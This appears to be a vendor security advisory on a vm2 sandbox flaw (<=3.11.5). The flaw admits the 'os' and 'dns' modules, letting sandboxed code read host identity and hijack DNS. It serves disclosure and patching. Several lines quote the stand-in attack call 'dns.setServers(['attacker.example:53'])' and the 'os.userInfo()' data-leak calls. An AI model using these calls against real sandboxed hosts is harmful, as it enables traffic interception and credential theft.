Critical vm2 Vulnerability Allows Host DNS Hijacking and Information Disclosure
Breaking
vm2’s sandbox denylist forgot two modules: “os” and “dns.” Under the wildcard config vm2’s own docs recommend, that gap lets sandboxed code read the host process owner’s identity and hijack the host’s DNS with a single call — a change that outlives the sandbox run and never notifies the embedder. Patched in 3.11.6.
Overview
vm2 <= 3.11.5 let sandboxed JavaScript read the host process owner’s uid, gid, username, home directory, and shell — then rewrite the host’s DNS resolver list in a single call, redirecting every subsequent lookup the host process makes to an attacker-controlled server.
No alert, no rate limit, nothing that stops working when a sandbox run ends. The mutation just stays.
vm2 is a sandbox for running untrusted JavaScript inside a Node.js process — roughly 5 million npm downloads a month, and the engine behind a lot of low-code platforms, webhook and rules executors, plugin systems, and CI job runners.
Because the sandboxed code shares the host process, the entire security boundary is a bridge of proxies between two realms. “NodeVM” extends that boundary with an opt-in “require,” governed by a “builtin” allowlist: the embedder names which Node built-in modules may cross into the sandbox, and everything unnamed stays out.
That allowlist accepts a “” wildcard meaning “everything vm2 considers safe” — and what “” resolves to is decided by a denylist inside vm2, not by the embedder. This finding is about two modules the denylist forgot.
Under “builtin: [‘*’],” vm2 <= 3.11.5 admits “os” and “dns,” loading each through a readonly proxy that forwards every method call into the host realm. Readonly blocks property assignment, not method calls — so sandboxed code reads the host process owner via “os.userInfo()” (uid, gid, username, home directory, shell) and the full host network topology via “os.networkInterfaces(),” then rewrites the host’s process-wide DNS resolver list with a single call to “dns.setServers([‘attacker.example:53’]).”
Every subsequent lookup the host makes — outbound HTTP, telemetry, package registry, fetch calls — resolves through the attacker. “os.setPriority()” is a second host-process write in the same class. Both mutations persist in the host realm after the sandbox run returns, with no notification to the embedder.
The precondition is the “builtin: [‘*’]” wildcard, which vm2’s own README calls “a non-sandbox configuration” — and which still exposes “child_process” in the patched release.
This has been fixed in vm2 3.11.6, which adds “os” and “dns” to the “DANGEROUS_BUILTINS” denylist in “lib/builtin.js.”
Affected Versions
Affected Product
Versions
Patched Version
vm2 (npm)
<= 3.11.5
3.11.6
Vulnerability Details
CVE: GHSA-m5w8-4gq2-6f8x
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor; CWE-285: Improper Authorization; CWE-732: Incorrect Permission Assignment for Critical Resource
CVSS Source: GHSA
CVSS Base score: 10.0
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Description: vm2’s NodeVM contains a host-state exposure and mutation vulnerability that allows attacker-controlled sandbox code to read the host process identity and rewrite host process configuration by requiring the “os” and “dns” built-in modules, which the documented “builtin: [‘*’]” wildcard admits into the sandbox.
Sandbox code can call “os.userInfo()” and “os.networkInterfaces()” to disclose the host process owner’s uid, gid, username, home directory, and shell along with the full host network topology including container and VM interfaces, and can call “dns.setServers()” to replace the host process’s DNS resolver list in a single statement, redirecting every subsequent name resolution the host performs — bypassing the sandbox boundary because the readonly proxy wrapping each admitted module blocks property assignment but forwards method calls into the host realm without containing their effects.
Timeline
Reported by offset via GitHub Security Advisory
Fix committed to “main” on August 9, 2026 in 768bcfc
vm2 3.11.6 released on August 14, 2026
Reviewed and added to the GitHub Advisory Database on August 17, 2026
Impact Breakdown
Host DNS Hijack: One call to “dns.setServers([‘attacker.example:53’])” replaces the resolver list for the entire host process, so every name the host resolves afterward — outbound HTTP, telemetry, package registry, OIDC issuer hostnames — is answered by the attacker. That turns sandboxed code into a credential-interception primitive against host traffic it never touches directly, and a supply-chain primitive against the next dependency fetch.
Host Identity and Network Topology Disclosure: “os.userInfo()” returns the host process owner’s uid, gid, username, home directory, and shell, telling the attacker what privilege level the sandbox is running under and which paths to target. “os.networkInterfaces()” returns every host interface with its IPs and MAC addresses, including container and VM veth pairs, mapping the internal network for any other primitive to aim at.
Silent, Persistent, One Line: The writes are ordinary synchronous method calls with no rate limit, audit trail, or notification to the embedder — and they outlive the sandbox. Both the replaced resolver list and the changed process priority are still observable from the host realm after the sandbox run returns, so a single run of attacker code reconfigures the host for the remainder of its lifetime.
Recommended Actions
Upgrade: Move to vm2 3.11.6, which denies “os” and “dns” at both enforcement layers — the wildcard expansion filter and the explicit-allowlist path. Note that the denial is deliberately broad: “builtin: [‘os’]” is rejected even when an embedder names it on purpose, so code calling “os.platform(),” “os.EOL,” or “os.tmpdir()” will start throwing “Cannot find module ‘os'” after the upgrade. Restore just the safe surface with a hand-written wrapper through “mock,” which continues to work on 3.11.6:
const vm = new NodeVM({ require: { builtin: ['*'], mock: { os: { platform: () => 'linux', EOL: '\n' } } } });
Technical Analysis
Root Cause
vm2 is a sandbox for executing untrusted JavaScript, and unlike a container or a separate process, it runs that code inside the host’s own Node process. There is no OS boundary to fall back on: the entire security model is a bridge of proxies between two JavaScript realms plus a decision about which host capabilities are allowed to cross it.
“NodeVM” makes that decision explicit through a “require” config, where the “builtin” option names the Node built-in modules the sandbox may load. Because an embedder running vm2 is typically a trusted production service — a rules engine, a webhook executor, a plugin host — anything that leaks or reconfigures that process reaches past the sandbox and into the platform running it.
The “builtin” allowlist accepts a ’*’ wildcard, and this is where the model inverts. ’*’ does not expand to a curated set of modules vetted as safe. It expands to every built-in Node ships, minus a hardcoded denylist, in lib/builtin.js#L166-L167:
image
The default is allow. Every module the denylist fails to name is handed to the sandbox, and the set of Node built-ins grows with each Node release while the denylist is maintained by hand. In v3.11.5 that denylist reads:
image
The last four entries arrived from a previous advisory, GHSA-9g8x-92q2-p28f, under a rationale the maintainer wrote directly into the source: these modules “expose state of the entire host process rather than sandbox-local state — the vm2 boundary cannot usefully contain them,” and “even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.”
That rationale describes a category, and the category was only half populated. “os” and “dns” match it exactly, and neither was listed.
Admitted modules load through the default path at lib/builtin.js#L229-L230:
image
“hostRequire(‘dns’)” loads the genuine “dns” module in the host realm, and the readonly wrapper wraps it before the sandbox receives it. The wrapper is the second half of the root cause, because it protects the wrong thing. Readonly traps property assignment, so the sandbox cannot overwrite “dns.setServers.” It does not constrain what a forwarded call does once it lands in the host realm.
For a module whose every method exists to read or mutate host-process state, forwarding the call is the entire capability — “dns.setServers([…])” is a method invocation rather than a property write, so it passes through the proxy untouched and mutates the host’s resolver list.
This is reachable from any sandbox under the documented “builtin: [‘*’]” configuration, in one synchronous statement, with no notification to the embedder.
Impact
Attacker-controlled sandbox code can read the host process owner’s uid, gid, username, home directory, and shell through “os.userInfo(),” and enumerate every host network interface with its IPs and MAC addresses through “os.networkInterfaces(),” disclosing both the privilege level vm2 runs at and the internal topology around it.
A single call to “dns.setServers([‘attacker.example:53’])” replaces the DNS resolver list for the whole host process, so every subsequent lookup the host performs — outbound HTTP, telemetry, package registry, OIDC issuer hostnames — is answered by the attacker, and “os.setPriority()” mutates the host process scheduling priority in the same way.
Both writes persist in the host realm after the sandbox run returns, and any deployment passing untrusted code to a NodeVM configured with the “builtin: [‘*’]” wildcard is affected.
The OX Research team reproduced the disclosure and both host-state writes locally on Node v24.4.1 against the last vulnerable release, v3.11.5, observing the replaced resolver list and the changed process priority from the host realm after the sandbox run returned, and confirmed both modules are denied on v3.11.6.
The Fix
The fix was committed directly to “main” in 768bcfc and shipped in v3.11.6. It adds the two missing family names to the same denylist, lib/builtin.js#L164-L165:
image
Two strings cover the whole surface because both enforcement layers consult the same set. The ‘isDangerousBuiltin’ family-prefix matcher strips a ‘node:’ prefix and matches on the segment before the first ‘/’, so ‘node:os’, ‘dns/promises’, and ‘node:dns/promises’ are denied without being named, and the check runs both in the wildcard expansion filter and in ‘addDefaultBuiltin’, which rejects the modules even when an embedder names one explicitly. The ‘mock’ and ‘override’ hooks are left intact so embedders can register a controlled sandbox-local subset.
Conclusion
vm2 v3.11.5 and earlier admit the ‘os’ and ‘dns’ built-in modules into the sandbox under the documented ‘builtin: [‘*’]’ wildcard, loading each through a ‘vm.readonly()’ proxy that blocks property assignment but forwards method calls into the host realm. Sandboxed code uses that to read the host process owner’s identity and the host’s full network topology, and to perform two host-process writes — replacing the DNS resolver list with ‘dns.setServers()’ and changing the scheduling priority with ‘os.setPriority()’ — both of which persist in the host after ‘vm.run()’ returns.
v3.11.6 fixes it by adding both names to the ‘DANGEROUS_BUILTINS’ denylist, which the existing family-prefix matcher extends to ‘node:os’, ‘dns/promises’, and ‘node:dns/promises’ across both enforcement layers. Upgrade to v3.11.6, or subtract the modules from the wildcard with ‘builtin: [‘*’, ‘-os’, ‘-dns’, ‘-dns/promises’]’ until you can.
The post Critical vm2 Vulnerability Allows Host DNS Hijacking and Information Disclosure appeared first on OX Security.